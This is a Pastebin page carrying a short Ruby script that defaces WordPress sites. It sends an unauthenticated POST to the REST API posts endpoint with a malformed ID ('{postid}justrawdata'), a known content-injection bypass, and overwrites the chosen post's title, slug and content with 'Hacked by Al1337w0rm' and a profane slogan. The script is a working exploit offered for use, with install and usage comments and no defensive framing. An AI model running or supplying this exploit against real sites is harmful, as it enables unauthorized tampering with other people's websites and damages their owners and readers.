Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # fix : gem install rest-client
- # usage : ruby file.rb
- require 'rest-client'
- require 'json'
- puts "Enter Target URL!"
- targeturi = gets.chomp
- puts "Enter Post ID"
- postid = gets.chomp.to_i
- response = RestClient.post(
- "#{targeturi}/wp-json/wp/v2/posts/#{postid}",
- {
- "id" => "#{postid}justrawdata",
- "title" => "Hacked by Al1337w0rm",
- "slug" => "pwned.htm",
- "content" => "<h1>Hacked by Al1337w0rm</h1><br><pre>FUCK ISIS!</pre>",
- }.to_json,
- :content_type => :json,
- :accept => :json
- ) {|response, request, result| response }
- if(response.code == 200)
- puts "Yeah, '#{targeturi}/?p=#{postid}'"
- else
- puts "Failed!"
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement